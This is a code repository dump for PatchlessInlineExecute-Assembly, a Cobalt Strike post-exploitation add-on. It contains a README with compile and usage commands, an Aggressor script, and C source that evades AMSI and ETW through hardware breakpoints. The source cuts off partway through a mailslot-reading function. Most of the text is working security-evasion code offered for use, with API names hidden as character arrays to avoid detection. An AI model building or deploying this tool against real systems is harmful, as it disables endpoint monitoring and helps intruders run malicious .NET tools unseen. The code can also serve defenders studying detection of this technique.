├── PatchlessInlineExecute-Assembly ├── PatchlessinlineExecute-Assemblyx64.o └── PatchlessinlineExecute-Assembly.cna ├── README.md └── src ├── beacon.h ├── PatchlessinlineExecute-Assembly.c └── PatchlessinlineExecute-Assembly.h /PatchlessInlineExecute-Assembly/PatchlessinlineExecute-Assemblyx64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/VoldeSec/PatchlessInlineExecute-Assembly/HEAD/PatchlessInlineExecute-Assembly/PatchlessinlineExecute-Assemblyx64.o -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PatchlessInlineExecute-Assembly 2 | Porting of BOF InlineExecute-Assembly to load .NET assembly in process but with **patchless AMSI and ETW bypass using hardware breakpoint**. 3 | 4 | Using hardware breakpoints for patchless bypass has multiple advantages over traditional patching techniques. Firstly, it avoids using widely-known APIs such as NtProtectVirtualMemory, which are closely monitored by security solutions. Secondly, hardware breakpoints do not require any modification to the files/memory, which could be detected by file integrity monitoring or EDR, resulting in a relatively stealthy approach. 5 | 6 | Additionally, I have also rewritten the code to a standalone loader for wider usage: https://github.com/VoldeSec/PatchlessCLRLoader 7 | 8 | # Compile 9 | Run the below command inside the src directory via x64 Native Tools Command Prompt 10 | ```texinfo 11 | cl.exe /c PatchlessinlineExecute-Assembly.c /GS- /FoPacthlessinlineExecute-Assemblyx64.o 12 | ``` 13 | Then import the PatchlessinlineExecute-Assembly.cna script on Cobalt Strike. 14 | # Usage 15 | Same as InlineExecute-Assembly, 16 | ```texinfo 17 | PatchlessinlineExecute-Assembly --dotnetassembly /opt/SharpCollection/Seatbelt.exe --amsi --etw --assemblyargs AntiVirus --mailslot 18 | ``` 19 | 20 | 21 | # Credits 22 | @rad9800 implementation of patchless hook 23 | 24 | InlineExecute-Assembly - 25 | -------------------------------------------------------------------------------- /src/beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Cobalt Strike 4.1. 8 | */ 9 | 10 | /* data API */ 11 | typedef struct { 12 | char* original; /* the original buffer [so we can free it] */ 13 | char* buffer; /* current pointer into our buffer */ 14 | int length; /* remaining length of data */ 15 | int size; /* total size of this buffer */ 16 | } datap; 17 | 18 | DECLSPEC_IMPORT void BeaconDataParse(datap* parser, char* buffer, int size); 19 | DECLSPEC_IMPORT int BeaconDataInt(datap* parser); 20 | DECLSPEC_IMPORT short BeaconDataShort(datap* parser); 21 | DECLSPEC_IMPORT int BeaconDataLength(datap* parser); 22 | DECLSPEC_IMPORT char* BeaconDataExtract(datap* parser, int* size); 23 | 24 | /* format API */ 25 | typedef struct { 26 | char* original; /* the original buffer [so we can free it] */ 27 | char* buffer; /* current pointer into our buffer */ 28 | int length; /* remaining length of data */ 29 | int size; /* total size of this buffer */ 30 | } formatp; 31 | 32 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp* format, int maxsz); 33 | DECLSPEC_IMPORT void BeaconFormatReset(formatp* format); 34 | DECLSPEC_IMPORT void BeaconFormatFree(formatp* format); 35 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp* format, char* text, int len); 36 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp* format, char* fmt, ...); 37 | DECLSPEC_IMPORT char* BeaconFormatToString(formatp* format, int* size); 38 | DECLSPEC_IMPORT void BeaconFormatInt(formatp* format, int value); 39 | 40 | /* Output Functions */ 41 | #define CALLBACK_OUTPUT 0x0 42 | #define CALLBACK_OUTPUT_OEM 0x1e 43 | #define CALLBACK_ERROR 0x0d 44 | #define CALLBACK_OUTPUT_UTF8 0x20 45 | 46 | DECLSPEC_IMPORT void BeaconPrintf(int type, char* fmt, ...); 47 | DECLSPEC_IMPORT void BeaconOutput(int type, char* data, int len); 48 | 49 | /* Token Functions */ 50 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 51 | DECLSPEC_IMPORT void BeaconRevertToken(); 52 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 53 | 54 | /* Spawn+Inject Functions */ 55 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char* buffer, int length); 56 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char* arg, int a_len); 57 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len); 58 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION* pInfo); 59 | 60 | /* Utility Functions */ 61 | DECLSPEC_IMPORT BOOL toWideChar(char* src, wchar_t* dst, int max); -------------------------------------------------------------------------------- /PatchlessInlineExecute-Assembly/PatchlessinlineExecute-Assembly.cna: -------------------------------------------------------------------------------- 1 | #Register command 2 | beacon_command_register( 3 | "PatchlessinlineExecute-Assembly", 4 | "Load CLR if not already loaded and inject .NET assembly into current beacon process. Avoids creating a new sacraficial process via fork and run technique", 5 | "Synopsis: PatchlessinlineExecute-Assembly --dotnetassembly /path/to/Assembly.exe --assemblyargs My Args To Pass --amsi --etw"); 6 | 7 | global('$etw $amsi $appDomain $version'); 8 | 9 | #Global vars don't change 10 | $etw = 0; 11 | $amsi = 0; 12 | $mailSlot = 0; 13 | $entryPoint = 1; 14 | 15 | #Default values set here - if you don't want to use flags to change -> change here 16 | $appDomain = "totesLegit"; 17 | $pipeName = "totesLegit"; 18 | $mailSlotName = "totesLegit"; 19 | 20 | 21 | alias PatchlessinlineExecute-Assembly { 22 | 23 | #-------------------------------------- Extract/Parse Arguments --------------------------------------# 24 | $data = substr($0, 32); 25 | @args = split(' ', $data); 26 | 27 | local('$_amsi $_etw $_appDomain $_dotNetAssembly $_version $_assemblyargs $_assemblyWithArgs $_entryPoint $_mailSlot $_mailSlotName $_mailSlotNameArgs $_pipeName $_pipeNameArgs'); 28 | 29 | $_amsi = ""; 30 | $_etw = ""; 31 | $_mailSlot = ""; 32 | $_mailSlotName = ""; 33 | $_mailSlotNameArgs = ""; 34 | $_pipeName = ""; 35 | $_pipeNameArgs = ""; 36 | $_entryPoint = ""; 37 | $_appDomain = ""; 38 | $_appDomainArgs = ""; 39 | $_dotNetAssembly = ""; 40 | $_dotNetAssemblyArgs = ""; 41 | $_assemblyWithArgs = ""; 42 | 43 | @CliOptions = @("--amsi", "--etw", "--dotnetassembly", "--assemblyargs", "--appdomain", "--pipe", "--mailslot", "--main"); 44 | 45 | for ($i = 0; $i < size(@args); $i++){ 46 | 47 | if (@args[$i] iswm "--etw"){ 48 | $_etw = 1; 49 | }else if (@args[$i] iswm "--amsi"){ 50 | $_amsi = 1; 51 | }else if (@args[$i] iswm "--main"){ 52 | $_entryPoint = int(0); 53 | }else if (@args[$i] iswm "--dotnetassembly"){ 54 | $i = $i + 1; 55 | $_dotNetAssembly = @args[$i]; 56 | }else if (@args[$i] iswm "--assemblyargs"){ 57 | $i = $i + 1; 58 | $count = 0; 59 | for ($j = $i; $j < size(@args); $j++){ 60 | if(@args[$j] in @CliOptions){ 61 | break; 62 | }else{ 63 | @_dotNetAssemblyArgs[$count] = @args[$j]; 64 | 65 | #Taking care of arguments embedded within single/double quotes and consider it as one single argument (disregarding spaces). 66 | if(('"' isin @_dotNetAssemblyArgs[$count] || "'" isin @_dotNetAssemblyArgs[$count])){ 67 | 68 | $k = 0; 69 | $j = $j + 1; 70 | 71 | for($k = $j; $k < size(@args); $k++){ 72 | if(lindexOf(@_dotNetAssemblyArgs[$count], '"') == (strlen(@_dotNetAssemblyArgs[$count]) - 1) || lindexOf(@_dotNetAssemblyArgs[$count], "'") == (strlen(@_dotNetAssemblyArgs[$count]) - 1)){ 73 | $k = $k - 1; 74 | break; 75 | } 76 | if('"' isin @args[$k] || "'" isin @args[$k]){ 77 | @_dotNetAssemblyArgs[$count] = @_dotNetAssemblyArgs[$count]." ".@args[$k]; 78 | break; 79 | }else{ 80 | @_dotNetAssemblyArgs[$count] = @_dotNetAssemblyArgs[$count]." ".@args[$k]; 81 | } 82 | } 83 | 84 | $j = $k; 85 | $i = $k; 86 | } 87 | 88 | $count = $count + 1; 89 | 90 | } 91 | } 92 | }else if (@args[$i] iswm "--appdomain"){ 93 | $i = $i + 1; 94 | $count = 0; 95 | for ($j = $i; $j < size(@args); $j++){ 96 | if(@args[$j] in @CliOptions){ 97 | break; 98 | }else{ 99 | @_appDomain[$count] = @args[$j]; 100 | 101 | #Taking care of arguments embedded within single/double quotes and consider it as one single argument (disregarding spaces). 102 | if(('"' isin @_appDomain[$count] || "'" isin @_appDomain[$count])){ 103 | 104 | $k = 0; 105 | $j = $j + 1; 106 | 107 | for($k = $j; $k < size(@args); $k++){ 108 | if(lindexOf(@_appDomain[$count], '"') == (strlen(@_appDomain[$count]) - 1) || lindexOf(@_appDomain[$count], "'") == (strlen(@_appDomain[$count]) - 1)){ 109 | $k = $k - 1; 110 | break; 111 | } 112 | if('"' isin @args[$k] || "'" isin @args[$k]){ 113 | @_appDomain[$count] = @_appDomain[$count]." ".@args[$k]; 114 | break; 115 | }else{ 116 | @_appDomain[$count] = @_appDomain[$count]." ".@args[$k]; 117 | } 118 | } 119 | 120 | $j = $k; 121 | $i = $k; 122 | } 123 | 124 | $count = $count + 1; 125 | 126 | } 127 | } 128 | }else if (@args[$i] iswm "--mailslot"){ 129 | $_mailSlot = 1; 130 | $i = $i + 1; 131 | $count = 0; 132 | for ($j = $i; $j < size(@args); $j++){ 133 | if(@args[$j] in @CliOptions){ 134 | break; 135 | }else{ 136 | @_mailSlotName[$count] = @args[$j]; 137 | 138 | #Taking care of arguments embedded within single/double quotes and consider it as one single argument (disregarding spaces). 139 | if(('"' isin @_mailSlotName[$count] || "'" isin @_mailSlotName[$count])){ 140 | 141 | $k = 0; 142 | $j = $j + 1; 143 | 144 | for($k = $j; $k < size(@args); $k++){ 145 | if(lindexOf(@_mailSlotName[$count], '"') == (strlen(@_mailSlotName[$count]) - 1) || lindexOf(@_mailSlotName[$count], "'") == (strlen(@_mailSlotName[$count]) - 1)){ 146 | $k = $k - 1; 147 | break; 148 | } 149 | if('"' isin @args[$k] || "'" isin @args[$k]){ 150 | @_mailSlotName[$count] = @_mailSlotName[$count]." ".@args[$k]; 151 | break; 152 | }else{ 153 | @_mailSlotName[$count] = @_mailSlotName[$count]." ".@args[$k]; 154 | } 155 | } 156 | 157 | $j = $k; 158 | $i = $k; 159 | } 160 | 161 | $count = $count + 1; 162 | 163 | } 164 | } 165 | }else if (@args[$i] iswm "--pipe"){ 166 | $i = $i + 1; 167 | $count = 0; 168 | for ($j = $i; $j < size(@args); $j++){ 169 | if(@args[$j] in @CliOptions){ 170 | break; 171 | }else{ 172 | @_pipeName[$count] = @args[$j]; 173 | 174 | #Taking care of arguments embedded within single/double quotes and consider it as one single argument (disregarding spaces). 175 | if(('"' isin @_pipeName[$count] || "'" isin @_pipeName[$count])){ 176 | 177 | $k = 0; 178 | $j = $j + 1; 179 | 180 | for($k = $j; $k < size(@args); $k++){ 181 | if(lindexOf(@_pipeName[$count], '"') == (strlen(@_pipeName[$count]) - 1) || lindexOf(@_pipeName[$count], "'") == (strlen(@_pipeName[$count]) - 1)){ 182 | $k = $k - 1; 183 | break; 184 | } 185 | if('"' isin @args[$k] || "'" isin @args[$k]){ 186 | @_pipeName[$count] = @_pipeName[$count]." ".@args[$k]; 187 | break; 188 | }else{ 189 | @_pipeName[$count] = @_pipeName[$count]." ".@args[$k]; 190 | } 191 | } 192 | 193 | $j = $k; 194 | $i = $k; 195 | } 196 | 197 | $count = $count + 1; 198 | 199 | } 200 | } 201 | } 202 | } 203 | #------------------------------------------------------------------------------------------------------# 204 | 205 | #-------------------------------------- Appending .NET assembly arguments --------------------------------------# 206 | 207 | #Appending .NET assembly arguments to $_assemblyWithArgs var (separated by " ") 208 | for ($i = 0; $i < size(@_dotNetAssemblyArgs); $i++){ 209 | if (@_dotNetAssemblyArgs[$i] ne "") { 210 | if ($_assemblyWithArgs ne "") 211 | { 212 | $_assemblyWithArgs = $_assemblyWithArgs." ".@_dotNetAssemblyArgs[$i]; 213 | } 214 | else 215 | { 216 | $_assemblyWithArgs = @_dotNetAssemblyArgs[$i]; 217 | } 218 | 219 | } 220 | } 221 | 222 | #---------------------------------------------------------------------------------------------------------------# 223 | 224 | #-------------------------------------- Appending appDomain arguments --------------------------------------# 225 | 226 | #Appending appDomain arguments to $_appDomainArgs var (separated by " ") 227 | for ($i = 0; $i < size(@_appDomain); $i++){ 228 | if (@_appDomain[$i] ne "") { 229 | if ($_appDomainArgs ne "") 230 | { 231 | $_appDomainArgs = $_appDomainArgs." ".@_appDomain[$i]; 232 | } 233 | else 234 | { 235 | $_appDomainArgs = @_appDomain[$i]; 236 | } 237 | 238 | } 239 | } 240 | 241 | #-------------------------------------- Appending mailSlotName arguments --------------------------------------# 242 | 243 | #Appending mailSlot arguments to $_mailSlotNameArgs var (separated by " ") 244 | for ($i = 0; $i < size(@_mailSlotName); $i++){ 245 | if (@_mailSlotName[$i] ne "") { 246 | if ($_mailSlotNameArgs ne "") 247 | { 248 | $_mailSlotNameArgs = $_mailSlotNameArgs." ".@_mailSlotName[$i]; 249 | } 250 | else 251 | { 252 | $_mailSlotNameArgs = @_mailSlotName[$i]; 253 | } 254 | 255 | } 256 | } 257 | 258 | #-------------------------------------- Appending pipeName arguments --------------------------------------# 259 | 260 | #Appending pipeName arguments to $_pipeNameArgs var (separated by " ") 261 | for ($i = 0; $i < size(@_pipeName); $i++){ 262 | if (@_pipeName[$i] ne "") { 263 | if ($_pipeNameArgs ne "") 264 | { 265 | $_pipeNameArgs = $_pipeNameArgs." ".@_pipeName[$i]; 266 | } 267 | else 268 | { 269 | $_pipeNameArgs = @_pipeName[$i]; 270 | } 271 | 272 | } 273 | } 274 | 275 | if ($_appDomainArgs eq "") { 276 | $_appDomainArgs = $appDomain; 277 | } 278 | if ($_mailSlotNameArgs eq "") { 279 | $_mailSlotNameArgs = $mailSlotName; 280 | } 281 | if ($_pipeNameArgs eq "") { 282 | $_pipeNameArgs = $pipeName; 283 | } 284 | if ($_amsi == "") { 285 | $_amsi = $amsi; 286 | } 287 | if ($_etw == "") { 288 | $_etw = $etw; 289 | } 290 | if ($_entryPoint ne int(0)) { 291 | $_entryPoint = $entryPoint; 292 | } 293 | if ($_mailSlot == "") { 294 | $_mailSlot = $mailSlot; 295 | } 296 | 297 | #---------------------------------------------------------------------------------------------------------------# 298 | 299 | #-------------------------------------- Load BOF --------------------------------------# 300 | 301 | # figure out the arch of this session 302 | $barch = barch($1); 303 | 304 | # read in the right BOF file 305 | $handle = openf(script_resource("PatchlessinlineExecute-Assembly $+ $barch $+ .o")); 306 | $bof = readb($handle, -1); 307 | closef($handle); 308 | if(strlen($bof) < 1) 309 | { 310 | berror($1,"Error: BOF bin could not be found. Please ensure the compiled BOF (.o file) exists in the same folder as this aggressor script"); 311 | return; 312 | } 313 | 314 | #-----------------------------------------------------------------------------------------------# 315 | 316 | #-------------------------------------- Error Handling --------------------------------------# 317 | 318 | $assemblyPath = $_dotNetAssembly; 319 | $bid = $1; 320 | if ($assemblyPath eq "") { 321 | berror($bid, "Run 'help inlineExecute-Assembly'\n"); 322 | return; 323 | } 324 | 325 | if (!-exists $assemblyPath || !-isFile $assemblyPath){ 326 | berror($bid, "File ".$assemblyPath." doesn't exist\n"); 327 | return; 328 | } 329 | 330 | #-----------------------------------------------------------------------------------------------# 331 | 332 | #-------------------------------------- Convert .NET assembly to bytes --------------------------------------# 333 | 334 | #Reading assembly bytes and get the size in bytes 335 | $fileHandle = openf($_dotNetAssembly); 336 | $assemblyLength = lof($_dotNetAssembly); 337 | $assemblyBytes = readb($fileHandle, -1); 338 | closef($fileHandle); 339 | 340 | #---------------------------------------------------------------------------------------------------------------------# 341 | 342 | #-------------------------------------- Package and ship it --------------------------------------# 343 | 344 | # pack our arguments 345 | $bofArgs = bof_pack($1, "ziiiizzzib", $_appDomainArgs, $_amsi, $_etw, $_mailSlot, $_entryPoint, $_mailSlotNameArgs, $_pipeNameArgs, $_assemblyWithArgs, $assemblyLength, $assemblyBytes); 346 | 347 | # announce what we're doing 348 | btask($1, "Running PatchlessinlineExecute-Assembly edited by VoldeSec"); 349 | 350 | # execute it. 351 | beacon_inline_execute($1, $bof, "go", $bofArgs); 352 | 353 | clear(@_assemblyWithArgs); 354 | clear(@_dotNetAssemblyArgs); 355 | clear(@_appDomainArgs); 356 | clear(@_appDomain); 357 | clear(@_mailSlotNameArgs); 358 | clear(@_mailSlotName); 359 | clear(@_pipeNameArgs); 360 | clear(@_pipeName); 361 | 362 | #------------------------------------------------------------------------------------------------------------------------------# 363 | 364 | } 365 | 366 | -------------------------------------------------------------------------------- /src/PatchlessinlineExecute-Assembly.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "beacon.h" 9 | #include "PatchlessinlineExecute-Assembly.h" 10 | 11 | 12 | /*Global*/ 13 | 14 | struct descriptor_entry* head = NULL; 15 | CRITICAL_SECTION g_critical_section = { 0 }; 16 | 17 | void set_hardware_breakpoint(const DWORD tid, const uintptr_t address, const UINT pos, const BOOL init) 18 | { 19 | CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; 20 | HANDLE thd; 21 | 22 | char fgcti[] = { 'G', 'e', 't', 'C', 'u', 'r', 'r', 'e', 'n', 't', 'T', 'h', 'r','e', 'a', 'd', 'I', 'd', 0 }; 23 | _GetCurrentThreadId fGetCurrentThreadId = (_GetCurrentThreadId)GetProcAddress(GetModuleHandleA("kernel32.dll"), fgcti); 24 | 25 | if (tid == fGetCurrentThreadId()) 26 | { 27 | char fgct[] = { 'G', 'e', 't', 'C', 'u', 'r', 'r', 'e', 'n', 't', 'T', 'h', 'r','e', 'a', 'd', 0 }; 28 | _GetCurrentThread GetCurrentThread = (_GetCurrentThread)GetProcAddress(GetModuleHandleA("kernel32.dll"), fgct); 29 | thd = GetCurrentThread(); 30 | } 31 | else 32 | { 33 | char fop[] = { 'O', 'p', 'e', 'n', 'T', 'h', 'r','e', 'a', 'd', 0 }; 34 | _OpenThread OpenThread = (_OpenThread)GetProcAddress(GetModuleHandleA("kernel32.dll"), fop); 35 | thd = OpenThread(THREAD_ALL_ACCESS, FALSE, tid); 36 | } 37 | char fgtc[] = { 'G', 'e', 't', 'T', 'h', 'r', 'e', 'a', 'd', 'C', 'o', 'n', 't','e', 'x', 't', 0 }; 38 | _GetThreadContext GetThreadContext = (_GetThreadContext)GetProcAddress(GetModuleHandleA("kernel32.dll"), fgtc); 39 | GetThreadContext(thd, &context); 40 | 41 | if (init) //enable the breakpoint 42 | { 43 | (&context.Dr0)[pos] = address; 44 | context.Dr7 &= ~(3ull << (16 + 4 * pos)); 45 | context.Dr7 &= ~(3ull << (18 + 4 * pos)); 46 | context.Dr7 |= 1ull << (2 * pos); 47 | } 48 | else 49 | { 50 | //disable the breakpoint 51 | if ((&context.Dr0)[pos] == address) 52 | { 53 | context.Dr7 &= ~(1ull << (2 * pos)); 54 | (&context.Dr0)[pos] = 0ull; 55 | } 56 | } 57 | char fstc[] = { 'S', 'e', 't', 'T', 'h', 'r', 'e', 'a', 'd', 'C', 'o', 'n', 't','e', 'x', 't', 0 }; 58 | _SetThreadContext SetThreadContext = (_SetThreadContext)GetProcAddress(GetModuleHandleA("kernel32.dll"), fstc); 59 | SetThreadContext(thd, &context); 60 | 61 | if (thd != INVALID_HANDLE_VALUE) 62 | { 63 | char fch[] = { 'C', 'l', 'o', 's', 'e', 'H', 'a', 'n', 'd', 'l', 'e', 0 }; 64 | _CloseHandle CloseHandle = (_CloseHandle)GetProcAddress(GetModuleHandleA("kernel32.dll"), fch); 65 | CloseHandle(thd); 66 | } 67 | } 68 | 69 | 70 | void set_hardware_breakpoints(const uintptr_t address, const UINT pos, const BOOL init, const DWORD tid) 71 | { 72 | char fgcpi[] = { 'G', 'e', 't', 'C', 'u', 'r', 'r', 'e', 'n', 't', 'P', 'r', 'o', 'c','e', 's', 's', 'I', 'd', 0 }; 73 | _GetCurrentProcessId GetCurrentProcessId = (_GetCurrentProcessId)GetProcAddress(GetModuleHandleA("kernel32.dll"), fgcpi); 74 | const DWORD pid = GetCurrentProcessId(); 75 | char fcths[] = { 'C', 'r', 'e', 'a', 't', 'e', 'T', 'o', 'o', 'l', 'h', 'e', 'l', 'p','3', '2', 'S', 'n', 'a', 'p', 's', 'h', 'o', 't', 0 }; 76 | _CreateToolhelp32Snapshot CreateToolhelp32Snapshot = (_CreateToolhelp32Snapshot)GetProcAddress(GetModuleHandleA("kernel32.dll"), fcths); 77 | const HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); 78 | 79 | if (h != INVALID_HANDLE_VALUE) { 80 | THREADENTRY32 te = { .dwSize = sizeof(THREADENTRY32) }; 81 | char ft32f[] = { 'T', 'h', 'r', 'e', 'a', 'd', '3', '2', 'F', 'i', 'r', 's', 't', 0 }; 82 | _Thread32First Thread32First = (_Thread32First)GetProcAddress(GetModuleHandleA("kernel32.dll"), ft32f); 83 | char ft32n[] = { 'T', 'h', 'r', 'e', 'a', 'd', '3', '2', 'N', 'e', 'x', 't', 0 }; 84 | 85 | _Thread32Next Thread32Next = (_Thread32Next)GetProcAddress(GetModuleHandleA("kernel32.dll"), ft32n); 86 | 87 | if (Thread32First(h, &te)) { 88 | do { 89 | if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + 90 | sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) { 91 | if (tid != 0 && tid != te.th32ThreadID) { 92 | continue; 93 | } 94 | set_hardware_breakpoint( 95 | te.th32ThreadID, 96 | address, 97 | pos, 98 | init 99 | ); 100 | 101 | } 102 | te.dwSize = sizeof(te); 103 | } while (Thread32Next(h, &te)); 104 | } 105 | char fch[] = { 'C', 'l', 'o', 's', 'e', 'H', 'a', 'n', 'd', 'l', 'e', 0 }; 106 | _CloseHandle CloseHandle = (_CloseHandle)GetProcAddress(GetModuleHandleA("kernel32.dll"), fch); 107 | CloseHandle(h); 108 | } 109 | } 110 | 111 | void insert_descriptor_entry(const uintptr_t adr, const unsigned pos, const exception_callback fun, const DWORD tid) 112 | { 113 | struct descriptor_entry* new = intAlloc(sizeof(struct descriptor_entry)); 114 | const unsigned idx = pos % 4; 115 | 116 | KERNEL32$EnterCriticalSection(&g_critical_section); 117 | 118 | new->adr = adr; 119 | new->pos = idx; 120 | new->tid = tid; 121 | new->fun = fun; 122 | 123 | new->next = head; 124 | 125 | new->prev = NULL; 126 | 127 | if (head != NULL) 128 | head->prev = new; 129 | 130 | head = new; 131 | 132 | KERNEL32$LeaveCriticalSection(&g_critical_section); 133 | 134 | set_hardware_breakpoints( 135 | adr, 136 | idx, 137 | TRUE, 138 | tid 139 | ); 140 | } 141 | 142 | void delete_descriptor_entry(const uintptr_t adr, const DWORD tid) 143 | { 144 | struct descriptor_entry* temp; 145 | unsigned pos = 0; 146 | BOOL found = FALSE; 147 | KERNEL32$EnterCriticalSection(&g_critical_section); 148 | 149 | temp = head; 150 | 151 | while (temp != NULL) 152 | { 153 | if (temp->adr == adr && 154 | temp->tid == tid) 155 | { 156 | found = TRUE; 157 | 158 | pos = temp->pos; 159 | if (head == temp) 160 | head = temp->next; 161 | 162 | if (temp->next != NULL) 163 | temp->next->prev = temp->prev; 164 | 165 | if (temp->prev != NULL) 166 | temp->prev->next = temp->next; 167 | 168 | FREE(temp); 169 | } 170 | 171 | temp = temp->next; 172 | } 173 | 174 | KERNEL32$LeaveCriticalSection(&g_critical_section); 175 | 176 | if (found) 177 | { 178 | set_hardware_breakpoints( 179 | adr, 180 | pos, 181 | FALSE, 182 | tid 183 | ); 184 | } 185 | 186 | } 187 | 188 | LONG WINAPI exception_handler(PEXCEPTION_POINTERS ExceptionInfo) 189 | { 190 | if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) 191 | { 192 | struct descriptor_entry* temp; 193 | BOOL resolved = FALSE; 194 | 195 | KERNEL32$EnterCriticalSection(&g_critical_section); 196 | temp = head; 197 | while (temp != NULL) 198 | { 199 | if (temp->adr == ExceptionInfo->ContextRecord->Rip) 200 | { 201 | char fgcti[] = { 'G', 'e', 't', 'C', 'u', 'r', 'r', 'e', 'n', 't', 'T', 'h', 'r', 'e','a', 'd', 'I', 'd', 0 }; 202 | _GetCurrentThreadId fGetCurrentThreadId = (_GetCurrentThreadId)GetProcAddress(GetModuleHandleA("kernel32.dll"), fgcti); 203 | if (temp->tid != 0 && temp->tid != fGetCurrentThreadId()) 204 | continue; 205 | 206 | temp->fun(ExceptionInfo); 207 | resolved = TRUE; 208 | } 209 | 210 | temp = temp->next; 211 | } 212 | KERNEL32$LeaveCriticalSection(&g_critical_section); 213 | 214 | if (resolved) 215 | { 216 | return EXCEPTION_CONTINUE_EXECUTION; 217 | } 218 | } 219 | return EXCEPTION_CONTINUE_SEARCH; 220 | } 221 | 222 | 223 | PVOID hardware_engine_init(void) 224 | { 225 | char faveh[] = { 'A', 'd', 'd', 'V', 'e', 'c', 't', 'o', 'r', 'e', 'd', 'E', 'x', 'c','e', 'p', 't', 'i', 'o', 'n', 'H', 'a', 'n', 'd', 'l', 'e', 'r', 0 }; 226 | _AddVectoredExceptionHandler fAddVectoredExceptionHandler = (_AddVectoredExceptionHandler)GetProcAddress(GetModuleHandleA("kernel32.dll"), faveh); 227 | const PVOID handler = fAddVectoredExceptionHandler(1, exception_handler); 228 | KERNEL32$InitializeCriticalSection(&g_critical_section); 229 | 230 | return handler; 231 | } 232 | 233 | void hardware_engine_stop(PVOID handler) 234 | { 235 | //CRITICAL_SECTION g_critical_section; 236 | struct descriptor_entry* temp; 237 | 238 | KERNEL32$EnterCriticalSection(&g_critical_section); 239 | 240 | temp = head; 241 | while (temp != NULL) 242 | { 243 | delete_descriptor_entry(temp->adr, temp->tid); 244 | temp = temp->next; 245 | } 246 | 247 | KERNEL32$LeaveCriticalSection(&g_critical_section); 248 | 249 | if (handler != NULL) KERNEL32$RemoveVectoredExceptionHandler(handler); 250 | 251 | KERNEL32$DeleteCriticalSection(&g_critical_section); 252 | } 253 | 254 | 255 | uintptr_t find_gadget(const uintptr_t function, const BYTE* stub, const UINT size, const size_t dist) 256 | { 257 | for (size_t i = 0; i < dist; i++) 258 | { 259 | if (MSVCRT$memcmp((LPVOID)(function + i), stub, size) == 0) { 260 | return (function + i); 261 | } 262 | } 263 | return 0ull; 264 | } 265 | 266 | void rip_ret_patch(const PEXCEPTION_POINTERS ExceptionInfo) 267 | { 268 | ExceptionInfo->ContextRecord->Rip = find_gadget( 269 | ExceptionInfo->ContextRecord->Rip, 270 | "\xc3", 1, 500); 271 | ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Set Resume Flag 272 | } 273 | 274 | 275 | /*Make MailSlot*/ 276 | BOOL WINAPI MakeSlot(LPCSTR lpszSlotName, HANDLE* mailHandle) 277 | { 278 | _CreateMailslotA CreateMailslotA = (_CreateMailslotA)GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateMailslotA"); 279 | *mailHandle = CreateMailslotA(lpszSlotName, 280 | 0, //No maximum message size 281 | MAILSLOT_WAIT_FOREVER, //No time-out for operations 282 | (LPSECURITY_ATTRIBUTES)NULL); //Default security 283 | 284 | if (*mailHandle == INVALID_HANDLE_VALUE) 285 | { 286 | return FALSE; 287 | } 288 | else 289 | return TRUE; 290 | } 291 | 292 | /*Read Mailslot*/ 293 | BOOL ReadSlot(char* output, HANDLE* mailHandle) 294 | { 295 | DWORD cbMessage = 0; 296 | DWORD cMessage = 0; 297 | DWORD cbRead = 0; 298 | BOOL fResult; 299 | LPSTR lpszBuffer = NULL; 300 | size_t size = 65535; 301 | char* achID = (char*)intAlloc(size); 302 | memset(achID, 0, size); 303 | DWORD cAllMessages = 0; 304 | HANDLE hEvent; 305 | OVERLAPPED ov; 306 | 307 | _CreateEventA CreateEventA = (_CreateEventA)GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateEventA"); 308 | hEvent = CreateEventA(NULL, FALSE, FALSE, NULL); 309 | if (NULL == hEvent) 310 | return FALSE; 311 | ov.Offset = 0; 312 | ov.OffsetHigh = 0; 313 | ov.hEvent = hEvent; 314 | 315 | _GetMailslotInfo GetMailslotInfo = (_GetMailslotInfo)GetProcAddress(GetModuleHandleA("kernel32.dll"), "GetMailslotInfo"); 316 | fResult = GetMailslotInfo(*mailHandle, //Mailslot handle 317 | (LPDWORD)NULL, //No maximum message size 318 | &cbMessage, //Size of next message 319 | &cMessage, //Number of messages 320 | (LPDWORD)NULL); //No read time-out 321 | 322 | if (!fResult) 323 | { 324 | return FALSE; 325 | } 326 | 327 | if (cbMessage == MAILSLOT_NO_MESSAGE) 328 | { 329 | return TRUE; 330 | } 331 | 332 | cAllMessages = cMessage; 333 | 334 | while (cMessage != 0) //Get all messages 335 | { 336 | //Allocate memory for the message. 337 | lpszBuffer = (LPSTR)KERNEL32$GlobalAlloc(GPTR, KERNEL32$lstrlenA((LPSTR)achID) * sizeof(CHAR) + cbMessage); 338 | if (NULL == lpszBuffer) 339 | return FALSE; 340 | lpszBuffer[0] = '\0'; 341 | _ReadFile ReadFile = (_ReadFile)GetProcAddress(GetModuleHandleA("kernel32.dll"), "ReadFile"); 342 | fResult = ReadFile(*mailHandle, 343 | lpszBuffer, 344 | cbMessage, 345 | &cbRead, 346 | &ov); 347 | 348 | if (!fResult) 349 | { 350 | KERNEL32$GlobalFree((HGLOBAL)lpszBuffer); 351 | return 